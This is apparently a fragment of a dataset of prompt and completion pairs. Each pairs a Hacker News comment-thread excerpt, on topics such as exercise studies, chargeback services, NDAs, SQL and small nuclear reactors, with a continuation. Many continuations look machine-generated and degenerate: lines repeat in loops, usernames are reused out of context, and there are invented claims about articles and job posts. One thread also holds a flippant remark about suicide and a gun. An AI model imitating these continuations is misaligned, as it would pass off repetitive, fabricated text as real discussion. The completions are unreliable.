that the active twins were more likely\nto be in the gym.\n\n------\njoshu\nI wonder if this is a result of the fact that the active twins were more likely\nto be in the gym.\n\n------\njoshu\n", "input_text": " one would be, less likely to do it well... The more I learn about\nexercise & fitness, the more I discover it is a learned skill.\n\nFor a simple example, despite the fact that my push-ups looked ok, I was in\nfact doing them terribly wrong all my life which meant they did absolutely\nnothing to strengthen my pectorals. You might think something as simple as a\npush-up would be hard to do wrong...\n\n------\ngadders\nFrom the report:\n\n\"The scientists invited these twins into the lab and measured each young man\u2019s\nendurance capacity, body composition and insulin sensitivity, to determine\ntheir fitness and metabolic health.\"\n\nShame they couldn't find twins that took part in strength training, but not\nsurprising given the difficulties in finding any participants.\n\n------\nmathattack\n\"But eventually the researchers homed in on 10 pairs of male identical twins,\none of whom regularly exercised, while the other did not, usually because of\nwork or family pressures, the researchers determined.\"\n\nOh boy... How can 10 possibly be enough?\n\n------\nKiro\n> The active twins had significantly more grey matter than the sedentary\n> twins, especially in areas of the brain involved in motor control and\n> coordination.\n\nIs that good or bad?\n\n~~~\npingou\nThat looks good to me.\n\nWhat I'm wondering if that it only means that people have better motor control\nor coordination, or that it can also help people be good at math, for example,\nor at least help them if they decide to learn math?\n\n------\nparag_c_mehta\nWould have been great if some pictures were shared. Mere numbers do not tell\nfull story that gets shown in actual pictures.\n\n------\n"} +{"output_text": "will be a lot of people who will be in a worse position than they are now.\n\n~~~\nmikeash\nI'm not sure I understand your point.\n\nThe problem is that we're using up resources that are non-renewable. We're\nusing up resources that are finite. We're using up resources that are\nexpensive. We're using up resources that are dangerous.\n\nIf we tax garbage, we're just taxing the waste. We're not", "input_text": "loopholes which will make the tax break much more expensive, or have a very\nlong body of legal texts, and some very exited lawyers and auditors which will\nimpose an indirect cost on society broadly.\n\nSure, it's pessimistic, but I'm essentially working backwards from an attempt\nto impose a tax on dietary fat (for health reasons) in Denmark. Sounds great,\nright? Hilarity ensued over mixed nuts (the accountants had a field day with\nthat one, and IIRC all kinds of meat being taxed at the same level, and the\ntax was repealed after only 15 months.\n\n~~~\nAJ007\nA alternative approach could be taxing garbage. Perhaps inevitable once\nsensors become pervasive and cheap enough. Too some extent this is already\ndone and enforced for disposing of blatantly dangerous things. In some cases\nyou could end up in prison in addition to fines, if caught. The more subtle\nthings that add up to a big problem have been given a lot of leeway.\n\nRight now it is profitable for many parties to extract non-renewable\nresources, assemble them in to something that has a short life cycle, and be\nsold to consumers who would rather keep buying the same thing over and over\nagain than a single time. There have been big incentives on the government\nside for hitting GDP numbers, which has led to both low interest rates and an\nurgency to extract and process non-renewable resources as quickly as possible.\nCapital utilization numbers certainly doesn't account for any of this and very\nwell exacerbate the problem.\n\nI don't want to confuse cause and effect here, but the consumption of low\nquality products directly relates to the volume which they are produced. The\nactual costs have just been transferred to the future. In the future there\n"} +{"output_text": ".\n\n~~~\naristidb\nI'm not sure I understand. You're saying that you'll send them a link to\nresolve the chargeback, but they don't have to do anything?\n\n~~~\nmario1900\nYes, they don't have to do anything. They can choose not to respond and it\nbecomes a normal chargeback.\n\n------\njoshu\nI'm not sure I understand the business model.\n\n~~~\nmar", "input_text": "eing used in loads of places by now - there's probably\n(/should be) a jQuery plugin for it, even.\n\nI'm wondering why this is making it to HN now, 2 years later?\n\n~~~\norangecat\n_there's probably (/should be) a jQuery plugin for it, even_\n\nNo, there shouldn't. Taking advantage of this design flaw is no better than\ntrying to send a Javascript exploit to read my history file directly. I'm\nsurprised that supposedly legitimate sites think using it is an acceptable\npractice, but I guess I shouldn't be.\n\n------\nsambeau\nPlease, don't do that.\n\n \nShow HN: ChargeBack.cc - Get your money back - myotherthings\nhttps://www.chargeback.cc/\n======\naristidb\nThat seems a bit sketchy to me - black-mailing merchants into signing up for\nyour \"service\" of not sending them chargebacks?! Maybe you should explain why\nit's not.\n\n~~~\nmario1900\nMerchants don't need to sign up to resolve chargebacks. If we receive one,\nwe'll send them links to resolve it before it gets sent to the banks. They can\nchoose not too respond and it becomes a normal chargeback. Even if they do\nrespond - all they have to do is acknowledge they're making a refund or change\nthe customer's mind.\n\nThe basic resolution service is free for merchants. They only have to pay or\neven sign up if they want to use any of the premium features to help them\nreduce future chargebacks. Hopefully this isn't too dodgy :)\n\nI definitely think we need to be more upfront about what we get out of it. A\nlot of people seem skeptical when they first see the site"} +{"output_text": "\nlicensing agreement.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. It seems to be saying\nthat Yahoo is paying $30M for Summly because they want to acquire the\ntechnology and IP behind it. I don't see how that is a bad thing.\n\n~~~\nsamstave\nIt is a bad thing because it is a way to get a license to Summly's technology\nwithout paying for it", "input_text": " summarize articles\nfrom SRI International, who partly owned Summly -> why did Summly's owners\nmake 30 million?\n\n~~~\nNotre1\nExactly. I came here looking to see if anyone else had a good idea of what\ntheory this article was trying to express.\n\nI think the author is trying to infer that Yahoo agreed to buy Summly, so that\nSRI could liquidate their equity in Summly. Maybe, SRI saw Summly as a loser\nand as part of their negotiations with Yahoo, they asked Yahoo to turn this\nloss position into a win. So, maybe, then that $30M price was really $20M as\npart of the SRI deal and then $10M for assets and aqui-hire talent of Summly\nitself.\n\n \n \n Acquiring Summly seems to have been an almost incidental side effect of a deal Yahoo made with SRI for a piece of \"summarization technology.\"\n \n A source tells us that Yahoo has \"agreements in place\" with SRI for \"knowledge transfer,\" and the acquisition of IP, code, and technology.\n \n Until Yahoo bought it, SRI International held equity in Summly.\n\n~~~\nUK-AL\nEh, surely just paying that acquisition money directly to sri would be a\nbetter win?\n\n~~~\nsamstave\nMaybe that would be too overt. Maybe they needed to get a way to get a license\nwith SRI that didn't look like a me too act and also nullify existing\nlicenses.\n\nIf SRI actually had equity in Summly, then this is a way to pay off SRI, grab\nthe license for Summly and potentially get SRI to make a change to its"} +{"output_text": "-\ninnovation...](https://spin.atomicobject.com/2014/09/08/nda-stifle-innovation/)\n\n~~~\nmtmail\nI'm not sure if that's a good example. The article is about a startup that\nwasn't allowed to talk about their product.\n\n------\namichail\nI think the problem is that the language used in the article is not\nsophisticated enough.\n\n~~~\nnxzero", "input_text": " than I would agree that is wrong.\n\n~~~\namichail\nI'm referring more to the use of unsophisticated language and occasional\ngrammar errors.\n\n------\njambo\nhowud u complish tht?\n\n[That was a serious question with an illuminating response. How would you know\nwhether those who downvoted me were doing so because of my comprehensible but\npoor writing style, or out of disagreement?]\n\n~~~\nJoeCortopassi\nI'll upvote, just cause I think you were trying to make a point\n\n \nAsk HN: Declining NDAs - nxzero\nReally dislike NDAs for intro talks, always say no to them, but don't have any reasoning beyond if I have to sign some secrecy agreement just to find out how you create value, how're you going to explain it to customers, investors, etc. who also normally don't sign NDAs.

What is the best way to decline NDAs? When does it make sense to sign NDAs? What is a good & bad NDA?\n======\nmtmail\nI had luck sending [http://www.friendda.org/](http://www.friendda.org/) for\nintro talks. Not even signed, just the URL and \"can we both agree on this?\" in\nan email.\n\n~~~\nnxzero\nThanks, really appreciate the effort to provide your take on the problem.\n\nWhile I could easily see this working with friends, it not really what I'm\nlooking for.\n\nHere's so far here's the best expression of why I don't sign NDAs:\n\n[https://spin.atomicobject.com/2014/09/08/nda-stifle"} +{"output_text": " mention the most important thing:\n\n\"If you are going to do something that is going to be controversial, you need\nto be prepared to take the heat.\"\n\n~~~\nsorp\nI think that's a good point. I think it's also a good point to be prepared to\ntake the heat for something that is controversial.\n\n------\nsorp\nI think the most important thing is to be prepared to take the heat for\nsomething controversial.\n\n------", "input_text": " about assertively competitive business practices.\n\n!\n\n~~~\nfrench\nSounds like the Bill Gates school of IT. The YC startup community has a\ndifferent set of social mores which emphasize usefulness of the product, a\ncertain trendiness with respect to what else is happening in the current web\n2.0 world. We are not really the budding monopolist types. Yes, there is a\ncertain timidness in the YC community about the dark art of business. But\nthat's mainly because most of us have never worked :)\n\n~~~\nsorp\nWell, I've worked in the business world. But I have no interest in\n\"assertively competitive business practices\". Most of the managers I worked\nfor who were comfortable with that type of approach were exactly the reason I\nwanted to escape into the startup world and never look back at corporate life\nagain. So, if you want to call that 'timid', go ahead. I'd rather do my own\nthing, make a good product and try avoid \"doing evil\" as much as I can. This\nprobably sounds cliched or like I'm trying to win some brownie points but it's\nactually how I think. It's not worth it for me to live in that kind of\n\"assertively competitive\" way that I see my father and his colleagues living -\nor working, I should say. That feels like the old way of doing things.\n\n------\ngruseom\nEvidence?\n\n \n\nResponsible Disclosure Can Be Anything But - daeken\nhttp://daeken.com/responsible-disclosure-can-be-anything-but\n\n======\nsriramk\nI'm shocked he didn't"} +{"output_text": " theory.\n\n~~~\npaulie_a\nI agree. I think the best way to learn is to read the source code of the\nlibraries you are using.\n\n------\njedberg\nI'm a big fan of SQLite. It's a great database that is easy to use and\nunderstand.\n\nI've used it for a few projects, and it's been great.\n\nI've also used Postgres, and it's been great too", "input_text": " on BaaS etc.\n(mostly of the NoSQL variety).\n\nI have to say: I regret not learning it earlier. Stuff like constraints,\ntriggers, views, etc., are game-changers, but even just being able to write\nqueries instead of navigating a proprietary GUI was worth the few weeks it\ntook to learn.\n\nIt was also a boon for data analysis work. Whereas before I'd take a few hours\ncleaning some data with JavaScript or Python, now I just write a SQL query or\ntwo. It's faster, it feels more powerful, and it's _substantially_ less\nfragile than one-off data cleaning scripts.\n\nAnyway: for those that started out like I did, afraid of SQL, dive on in.\n\n~~~\ncuchoi\nHow did you learn? Old-fashioned trial and error + googling?\n\n~~~\nJohnCohorn\nThe PG docs are surprisingly good. Good enough to learn from. I remember\nlearning my first SQL back in like 1999 or 2000 by reading the PG docs in the\nback of my parents minivan. Good times!\n\n~~~\npaulie_a\nI don't mean to knock the pg docs but I honestly come away reading them with\nthe feeling \"what did I just read?\". They seem dense and dry. So personally I\nappreciate the articles like this to help me really learn. I will skip over\nofficial documentation and go to this sort of content.\n\n~~~\njlg23\n> They seem dense and dry.\n\nI consider that a feature. I loathe wasting my time by having to dig through\nlayers of prose to get some fact.\n\nBut they are probably not suitable as a tutorial, they only make sense when\nyou already know relational database"} +{"output_text": "Thanks! I'll try to add that.\n\n------\nbwang29\nI'm the author of this lens comparison tool. I'm a photographer and I've been\nusing this tool for a while now. I'm always looking for feedback and\nsuggestions.\n\n~~~\nSlowOnTheUptake\nI'm not sure if I'm missing something, but I don't see any way to zoom in on\nthe images. I'm not sure if that's a feature", "input_text": " comments: 1. the choice of the subjects is questionable.\nCouldn't you have chosen a better scene? Perhaps a landscape/portrait where\nextra detail can be more easily compared between the photos. Let's be honest,\nwho's ever gonna take a photo with these lenses on a doll. For crying out\nloud, get some models and I guarantee this will take off! 2. would like to see\nmore lenses to be added, along with different zoom settings\n\n~~~\nSlowOnTheUptake\nI'm no lens expert but I'd imagine that the differences in lighting and motion\nin landscapes and portraiture between takes might obscure the subtle\ndifferences between the lenses themselves. The static subjects probably give a\nmore fair comparison.\n\n~~~\nkpaddie\nDifference lenses have very different MTF (resolution vs how far away to the\ncenter of the lens) in theory and because of the different lens internal\nstructure, they also have different fringing, distortion performances as well.\nThe bokeh look different depending on the shape and the number of aperture\nblades. Sometimes it is not clear whether spending 2x or more is worth it so\nthis is I believe very helpful to help buyers to see what's the actual\ndifferences of lenses are without all those fancy ads.\n\n------\nEcco\nThat's very, very nice! Thank you!\n\nI noticed that on the most expensive lens, in the \"car\" scene, the focus seems\nto be very different than with other lenses. Which makes the comparison\ndifficult. Your DLSR most likely records autofocus points: it might be a good\nidea to actually display them in the JPEGs, because at such high apertures you\nreally want to look at what's in focus.\n\n~~~\nbwang29\n"} +{"output_text": " nothing to do with the article, which is about the _number_ of\npeople killed by distracted drivers, not the _number_ of people killed by\ndrivers in general.\n\n~~~\ndsfyu404ed\n> Your point has nothing to do with the article, which is about the number of\n> people killed by distracted drivers, not the number of people killed by\n> drivers in general.\n\nI'm not sure what you're trying to say here. The", "input_text": "al\", either. Check out DUI\nstatistics if you want bite-size proof that vast swaths of the population are\nfundamentally unfit to be driving, or show me data to back up your own point\nthat the roads are _not_ full of irresponsible drivers.\n\nOh, here's another good one: \"In 2017 alone, 3,166 people were killed in motor\nvehicle crashes involving distracted drivers.\" (from NHTSA:\n[https://www.nhtsa.gov/risky-driving/distracted-\ndriving](https://www.nhtsa.gov/risky-driving/distracted-driving))\n\n~~~\ndsfyu404ed\nOh quit your puritanical hand wringing.\n\nAverage people can drive in an average manner and go years or often decade,\nsometimes entire lifetimes without screwing up badly enough to attract law\nenforcement attention or get in a crash. We as a society have determined that\nis mostly good enough. Most people are satisfied with the current level of\nrisk/reward of driving and unless improvements come with minimal trade-offs\npeople are for the most part not interested. Society at large does not demand\nthe same religious adherence to traffic rules as you do.\n\nMore people were killed by fires (a hazard that most people would not consider\nto be a Big Problem(TM)) in 2016 than in crashes related to distracted\ndrivers.\n\n[https://www.usfa.fema.gov/data/statistics/fire_death_rates.h...](https://www.usfa.fema.gov/data/statistics/fire_death_rates.html)\n\n~~~\ncaconym_\n> puritanical\n\n> religious\n\nNice.\n\nYour point has"} +{"output_text": " I'm not looking to sell them all at once.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is the right place to ask this question, but I\u2019m looking\nfor a side project to work on. I\u2019m a software developer and I\u2019m looking for a\nside project that I can work on for a few months. I\u2019m not looking for a\nbusiness, just something to work on.\n\n~~~\neb", "input_text": ".com/gearseer/index.html)\n\n------\nMikeNomad\nAs of 30 Dec 2015 @ 0822 hrs US CST, the link generates a Traffic Quota\nExceeded error. Heck, that's one of the reasons why I still occasionally\npeddle to work.\n\n \nI'm looking to buy a small SaaS business - ebellity\nDoes anyone have side projects or products they're not working on anymore that they'd be interested in selling?

I'm looking for products, preferably SaaS, making $300 to $4000 in MRR\n======\nezekg\nDo you have an overall budget for this? And on this topic -- does anyone know\nof a place where profitable businesses can be sold? I know of places like\n[https://1kprojects.com/](https://1kprojects.com/) and similar sites but the\nlistings are not exactly \"businesses.\"\n\n~~~\nebellity\nYes - about $70k\n\nI know of 1kprojects, Transferslot, flippa, empire flippers and FE\ninternational but it's a bit hard to sort through everything to find quality\nproducts\n\n~~~\ncodegeek\nThe problem is that if it is a really good quality product that ALSO makes\nsome revenue, I doubt people are looking to sell on those sites. You have to\ngo hunt yourself. Once in a while, you may be able to find a Gem on those\nsites but yea, most are not worth the time/money unfortunately if you are\nlooking for something more than a simple side project.\n\n~~~\nezekg\nFWIW I have multiple revenue generating businesses that I'd be open to selling\nfor the right price, but"} +{"output_text": "YYTuZCjZcE?t=2m10s)\n\n------\njessriedel\nI'm not sure why they're using a parachute for the capsule. It's not like the\ncapsule is going to be moving at 1 mph.\n\n~~~\njessriedel\nI guess I'm not sure why they're using a parachute for the capsule. It's not\nlike the capsule is going to be moving at 1 mph.\n", "input_text": ")\n.)\n\n~~~\nwmf\nNote that's from December; there's another flight today but that isn't it.\n\n~~~\nrory096\nThe webcast was removed from Youtube when it ended \u2014 we'll have to wait for\nthem to recut and reupload it.\n\n[https://www.youtube.com/watch?v=ZUV53Nn3PhA](https://www.youtube.com/watch?v=ZUV53Nn3PhA)\n\n------\niamcreasy\nCan anybody answer me, why BlueOrigin has to detach the passenger module?\nCan't they just land the passenger module with the booster since the booster\nhave such controlled landing?\n\n~~~\njessriedel\nI don't know, but one possibility is that they think it's easier to ensure the\nextremely high degree of safety with a separate parachute capsule. If the\nboosters can be recovered 99% of the time, but are destroyed 1% of the time,\nthat would be plenty reliable to drastically cut the cost of the trip but\nobviously not reliable enough for humans. And it might not make sense to bring\nthat reliability to something like 0.1% or 0.01%, which you need for humans,\nif it doubles the cost of the booster.\n\n------\nckdarby\nCurious what happens if the parachute for the landing capsule fails or only\none deploys? Does it spin out of control and not land at 1 mph?\n\n~~~\nshirro\nThey tested that already. They can land with two just fine. There is video on\ntheir youtube channel\n[https://youtu.be/xYYTuZCjZcE?t=2m10s](https://youtu.be/x"} +{"output_text": " for the service provider.\n\n~~~\njellicle\n> Innovative would be paying a fixed salaray which allows your staff to live\n> in SF without relying on tips.\n\nThat's not what the article says. The article says that the staff are\n\"currently\" relying on tips.\n\n~~~\nchinathrow\nI'm not sure what you mean by \"currently\".\n\n~~~\njellicle\nThe staff are currently relying on tips.\n", "input_text": " random lottery.\n\n------\njellicle\n> figuring out how to pay him more without having him lose access to different\n> low-income programs for which he currently qualifies\n\nWow, the charitable impulses here are overwhelming. You'll pay him more, as\nlong as it doesn't lift him out of poverty. Wow. Wow.\n\nIf you want more staff, pay staff more. This easy equation has been understood\nfor thousands of years but business owners find it difficult to comprehend\nwhen it is their business.\n\n~~~\nJohnny555\n_Wow, the charitable impulses here are overwhelming. You 'll pay him more, as\nlong as it doesn't lift him out of poverty. Wow. Wow._\n\nIf a salary increase makes him ineligible for the services that he's using to\nstay in the city, the higher salary could be an effective cut in pay.\n\nWhile it's possible to pay him a large enough salary to make up for those\nservices, it's likely more than the business can afford.\n\n~~~\nsampo\nNot very capitalist to run a business that is dependent on the employees being\nable to live in assisted housing.\n\n~~~\nJohnny555\nSan Francisco is not a good model for capitalism. The housing market in\nparticular is highly skewed not just because of politics, but also geography.\n\n------\nchinathrow\n\"We, among others, tried to be innovative. We tried to go the \u2018service charge\ninclusive\u2019 route, automatically including 20% in every check.\"\n\nI wouldn't call that innovative. Innovative would be paying a fixed salaray\nwhich allows your staff to live in SF without relying on tips.\n\nOthers have done it in the US too. In lots of countries the world over,\ntipping is a plus"} +{"output_text": " from the lactose intolerance, it is\na great source of calcium.\n\n~~~\ncies\nI'm not saying it's not a good food for some people, but it's not for me.\n\nI'm not lactose intolerant, but I'm not a fan of dairy.\n\n~~~\ntoasterlovin\nI'm not lactose intolerant either, but I'm not a fan of dairy.\n\n------\nmatt_the_bass\n", "input_text": "at day\" but now I\ndread it.\n\nFriends ask why I did it. I don't have one particular reason. Just did it. I'm\nnot sure if the planet's better because of me not eating meat. I don't want to\nsound moral, but it does feel civilized, in an almost naive way, not to crave\nother animals. But I know I'm vegetarian because my body, and not my\nconscience, asked for it.\n\nI've always been a proud meat eater. I laughed at my sister when she turned\nvegan. But I now feel relieved like a criminal that confessed his crime after\n40 years in hiding. Trust me, eating meat is not important when you eat from a\nwide range of sources. Eating meat, poultry, seafood should be a special,\nalmost mystical thing (in some religions it is), reserved for special\noccasions. It should be local, not global. The massive processing of animals\nis not only cruel and insanely wasteful, but is quite unhealthy from the\nepidemiological and physiological perspective.\n\n~~~\ncies\nAs a long term lacto-ovo vegetarian, who is went mostly plant-based for health\nreasons: dairy causes many ailments, a quite unnatural food for humans to\neat...\n\n[https://www.youtube.com/watch?v=h3c_D0s391Q](https://www.youtube.com/watch?v=h3c_D0s391Q)\n\n~~~\ntoasterlovin\nFor some people.\n\nOthers of us are well adapted to dairy and, for us, dairy is a miraculous food\ncategory. It is a great source of protein and fat. It adds a wonderful\ndimension to so many recipes. And, aside"} +{"output_text": " the face and saying \u2018Fuck\nyou\u2019\u2026 I\u2019m not saying that\u2019s what it\u2019s about, but that\u2019s what it\u2019s about.\u201d\n\n~~~\n\n~~~\n\n\u201cI\u2019m not saying that\u2019s what it\u2019s about, but that\u2019s what it\u2019s about.\u201d\n\n~~~\n\n~~~\n\n\u201cI\u2019m not saying that\u2019s what it\u2019s about, but that\u2019s what it\u2019s about.\u201d", "input_text": "iquiet.com/music/2012/06/flashback-thom-yorke-explains-\nstreet-spirit-breaks-our-hearts/)\n\n\u201c\u2018Street Spirit\u2019 is our purest song, but I didn\u2019t write it\u2026. It wrote itself.\nWe were just its messengers\u2026 Its biological catylysts. It\u2019s core is a complete\nmystery to me\u2026 and (pause) you know, I wouldn\u2019t ever try to write something\nthat hopeless\u2026 All of our saddest songs have somewhere in them at least a\nglimmer of resolve\u2026 \u2018Street Spirit\u2019 has no resolve\u2026 It is the dark tunnel\nwithout the light at the end. It represents all tragic emotion that is so\nhurtful that the sound of that melody is its only definition. We all have a\nway of dealing with that song\u2026 It\u2019s called detachment\u2026 Especially me.. I\ndetach my emotional radar from that song, or I couldn\u2019t play it\u2026 I\u2019d crack.\nI\u2019d break down on stage.. that\u2019s why its lyrics are just a bunch of mini-\nstories or visual images as opposed to a cohesive explanation of its meaning\u2026\nI used images set to the music that I thought would convey the emotional\nentirety of the lyric and music working together\u2026 That\u2019s what\u2019s meant by \u2018all\nthese things are one to swallow whole\u2019.. I meant the emotional entirety,\nbecause I didn\u2019t have it in me to articulate the emotion\u2026 (pause) I\u2019d crack\u2026.\nOur fans are braver than I to let that song penetrate them, or maybe they\ndon\u2019t realize what they\u2019re listening to.. They don\u2019t realize that \u2018Street\nSpirit\u2019 is about staring the fucking devil right in"} +{"output_text": "\nI think the comment section on icanhascheeseburger is a good example of the\nvalue of a good comment system.\n\n------\njoshu\nI think the best way to make money is to make a product that people want.\n\n~~~\njoshu\nI think the best way to make money is to make a product that people want.\n\n------\njoshu\nI think the best way to make money is to make a product that", "input_text": "? I mean do you feel bad that someone in\nIndia made $10m selling a special type of plastic sheet to farmers? Or someone\nin South Africa made millions selling vuvuzelas?\n\nIf your ultimate goal is to make money, then certainly wonder if you chose the\nright career. Money laundering or even investment banking might be a better\npath. Otherwise, realize the money is just a serendipitous by-product of any\nventure.\n\n~~~\nroel_v\n\"Or someone in South Africa made millions selling vuvuzelas?\"\n\nIf I ever find that guy, he's in for a world of pain.\n\n~~~\nLuc\nThe Vuvuzela (TM) maker was once a small startup that won an entrepreneurship\ncompetition and got help from an incubator:\n[http://www.fin24.com/Companies/SAB-moves-to-protect-\nvuvuzela...](http://www.fin24.com/Companies/SAB-moves-to-protect-\nvuvuzela-20040519)\n\nI have mixed emotions about this one, for sure.\n\n------\nck2\nStep 1: Take content from everyone and everywhere else and put it on your own\nsite.\n\n~~~\njessriedel\nMore like, come up with a great web-interface to allow a single, one-time idea\nfrom an individual user (which otherwise would have been heard only by him and\nhis friends) to be made available to the entire internet.\n\n------\nmynameishere\nIf the comment section on icanhascheeseburger doesn't drive you to suicide,\nyou're probably safe keeping that 45 in your house.\n\n~~~\nDaniel_Newby"} +{"output_text": " Hillary than\nthere are that like Trump.\n\n------\njoshstrange\nI'm not sure I agree with the premise that the \"shills\" are paid. I think\nthey're just people who are passionate about a candidate and are willing to\nspend their time to spread the word.\n\n------\njoshstrange\nI'm not sure I agree with the premise that the \"shills\" are paid. I think\nthey're just people who are passionate", "input_text": "_access_for_presidential_candidates#Party_nomination_processes)\n\nSo not only is there the huge well organized machine you mention could easily\ncollect signatures, there is also generally a much easier (and tightly\ncontrolled) path to the ballot.\n\nedit: It's quite likely that the president would be selected by the Electoral\nCollege, but personally I'd prefer that to the current process where the\npresident is selected by the superior voter targeting strategy.\n\n------\nprojectileboy\nIs this surprising to anyone? I assumed that all corporations, politicians and\ncelebrities pay armies of minions to cultivate public opinion. How could it be\nany other way? I hardly think Bernie Sanders' campaign doesn't do the same\nthing.\n\n~~~\npstuart\nI'm guessing the Sanders' campaign has enough volunteers doing that.\n\n/meta\n\n------\nr-w\nMaybe the real problem is that people in this country still think that the\nmore they hear something, the more it\u2019s worth hearing. If they\u2019d only keep\nthose little slivers of truth about Hillary in mind among the sea of lies\u2014if\nthere were any mental permanence to their observations about her\u2014then maybe\nshe\u2019d stop being able to slip through the cracks like she has about the\nemails, the speeches, and (foreseeably) _this_ Big Brother-esque move.\n\n------\nkoolba\nPaying for shill comments would probably be cheaper:\n[https://xkcd.com/1019/](https://xkcd.com/1019/)\n\n------\npatrickg_zill\nWhat it means (in combination with the analysis that a huge %age of Twitter\nfollowers are not real) is, there are even less humans that like"} +{"output_text": " think.\n\nI'm in the UK, too, and I'm currently doing A-levels. I'm doing a lot of\nprogramming, but I'm also doing a lot of maths and physics. I'm also doing\nsome biology and chemistry.\n\nI'm not sure what you're doing, but I'd recommend you do some maths and\nphysics. You'll find that you'll be able to do a lot of the stuff you're\ndoing now, but", "input_text": " programming, because you need it. I also\nneeded it when I was your age.\n\nIn my case I started programming while also studying engineering in Europe. I\nmade a company with the code I accumulated over this time, with the knowledge\nof programming being really useful to manage other people(and identifying who\nis really good or not at it and so on).\n\nPeople consider me rich now(there is always someone else with more money, but\nI have more than what my family needs), but I went through very hard times\nbefore it(my family wanted me to get a good job instead of risking so much).\n\nIf you force yourself to study more, you will regret it.\n\nMy advice:\n\nFocus on learning to study more efficiently, the idea is to use the time you\nalready use to study faster and get better grades while also giving time to\nprogramming.\n\nLearn from the masters, read the Audiobook \"The Now habit\", learn aabout\nmindmaps and mnemonics, and always go for the best.\n\nUse software for remembering stuff.\n\n------\nbrador\nResearching? Tell me you don't mean reading random wikipedia articles and\nbrowsing the web here.\n\nYou're at the stage of life where you need to develop deep skills in subjects.\nAt the early stages of that process it can be hard to motivate yourself.\nYou're gonna have to power through and realise you're doing this for future\nyou not current you.\n\n------\nirremediable\nHey there! From the sound of it, you're about sixteen years old and live in\nBritain. A few years ago, I was your age and in a similar position. What\ngrades are you getting at the minute? A-levels might be easier for you than\nyou"} +{"output_text": "\n\n~~~\nzbobet2012\nI don't think that's a good argument.\n\nThe article is about small modular reactors.\n\n~~~\nKrasnol\nI don't think it's a good argument either.\n\nThe article is about small modular reactors.\n\n------\njandrese\nI'm not sure I understand the point of this. The article is basically saying\nthat nuclear is too expensive and that small modular reactors are cheaper.\n\nThe problem", "input_text": " fight for USA would be to get a bunch of large long-\nrange cargo planes carrying pallet launched missiles and drones and dump it\nall at standoff range. The only thing holding that strategy back is the cost\nand logistics of keeping those planes fuelled in the air.\n\n~~~\npastage\nKeeping those planes maintained and serviced is going to cost abit too.\n\n------\nyk\n> Electricity costs [for small modular reactors] would be 30% lower than for a\n> large nuclear facility, matching wind power, with the modular approach\n> allowing parts to be made on a factory production line.\n\nI wonder why they don't use wind power in that case.\n\n~~~\nzbobet2012\nBase load generation.\n[https://en.m.wikipedia.org/wiki/Base_load](https://en.m.wikipedia.org/wiki/Base_load)\n\nOr put another way the wind doesn't always blow at the same rate.\n\n~~~\nKrasnol\n[https://skepticalscience.com/print.php?r=374](https://skepticalscience.com/print.php?r=374)\n\nSummary\n\nArguments that renewable energy isn't up to the task because \"the Sun doesn't\nshine at night and the wind doesn't blow all the time\" are overly simplistic.\n\nThere are a number of renewable energy technologies which can supply baseload\npower. The intermittency of other sources such as wind and solar photovoltaic\ncan be addressed by interconnecting power plants which are widely\ngeographically distributed, and by coupling them with peak-load plants such as\ngas turbines fueled by biofuels or natural gas which can quickly be switched\non to fill in gaps of low wind or solar production."} +{"output_text": "al\" (Manning) is a good example of this style.\n\nc. a more \"textbook\" / algorithmic approach? I remember thinking \"Introduction\nto Algorithms\" (Cormen, Leiserson, Rivest) was one of the lighter texts that\ndidn't necessarily feel \"textbook.\" \"Introduction to Algorithms\" (Cormen,\nLeiserson, Rivest) is a good example of this style.\n\nd. a more", "input_text": " caters to multiple reading levels, from newbies to advanced readers?

What to you, makes good writing?\n======\nswanson\nNot strictly computer science - but the one textbook that I really liked from\nmy computer engineering degree was \"Computer Organization and Design: The\nHardware/Software Interface\" ([http://www.amazon.com/Computer-Organization-\nDesign-Fourth-Ed...](http://www.amazon.com/Computer-Organization-Design-\nFourth-Edition/dp/0123747503)). It was surprisingly readable and easy to\nfollow. It covers the design of a MIPS processor from the ground up (ALU,\ncaches, memory, pipelining, etc) and also is self-aware enough to not pretend\nthat x86/ARM don't exist.\n\n------\nvergeman\nI suppose it depends on your approach - my two cents - is your book...\n\na. geared toward programming / learning a language? I've been surprised, given\nthe sparsity, the efficacy of a \"showing-by-example\" style of writing seen in\nthe Apache Thrift documentation. K&R (to me) is decent for language\nacquisition, but even more useful as a quick \"how did they do that again\"\nrefresher. I've found \"Linux Kernel Development\" (Love) as a very nice book\nblending concepts with programmatic examples. So the above is maybe a spectrum\nwithin this style of writing that I've found helpful.\n\nb. a more \"textbook\" / algorithmic approach? I remember thinking \"Computer\nNetworking: A Top-Down Approach\" (Kurose, Ross) was one of the lighter texts\nthat didn't necessarily feel \"textbook.\" \"Introduction to Information\nRetriev"} +{"output_text": " than normal weight children.\n\nThe article does not say that obesity causes the virus to be more infectious.\n\n~~~\nbrudgers\nThe article does not say that obesity causes the virus to be more infectious.\n\nThe article says that obesity is a risk factor for the virus to be more\ninfectious.\n\n~~~\ncrpatino\nThe article says that obesity is a risk factor for the virus to be more\ninfectious.\n\nThe article does not say", "input_text": "/21571445-cost-postponing-\ninevitable-devaluation-out-stock)\n\n------\ncobbzilla\nyeah that's not a sensationalist headline at all.\n\n~~~\ndrb91\nSure it\u2019s not flaming guitars, but for once the movie reference seems more\nexaggeration than fiction.\n\n~~~\nmegaman22\nThe first Mad Max was not particularly post-apocalyptic - the world was\nfalling down, but the vestiges of society were still rather strong, and the\nlunatic fringe like Toecutter were just motorcycle gangs cranked up to 11.\n\nThings have gotten weirder and weirder in every installment since.\n\n~~~\nmeesterdude\n> Things have gotten weirder and weirder in every installment since\n\nReality is following suit\n\n \n\nWestern surge in obesity may have been caused by a virus - vl\nhttp://www.independent.co.uk/life-style/health-and-families/health-news/western-surge-in-obesity-may-have-been-caused-by-a-virus-2084737.html\n\n======\nVBprogrammer\nI'm disinclined to believe this study purely on the basis that I've yet to\nmeet an heavily overweight person who did not have a terrible diet to exercise\nratio.\n\nI wonder how good the science behind it is!\n\n~~~\nbrudgers\n_I wonder how good the science behind it is!_\n\nBetter than anecdote according to the article.\n\n~~~\ncrpatino\nCorrelation!= Causation\n\nThe article revolves around how much more likely it is for obese children to\nbe infected by the virus"} +{"output_text": " over $1.5 million in sales.\n\nWe're looking for a senior full-stack engineer to help us build out our\ninfrastructure and scale our business.\n\n[https://www.teachable.com/careers/senior-full-stack-\nengineer...](https://www.teachable.com/careers/senior-full-stack-engineer)\n\n------\njason_slack\nSlack | San Francisco", "input_text": "\nI've considering moving out of my country. How's the working environment\nthere? And the salary?\n\n------\n1as\nIntercom \u25cf Onsite \u25cf San Francisco 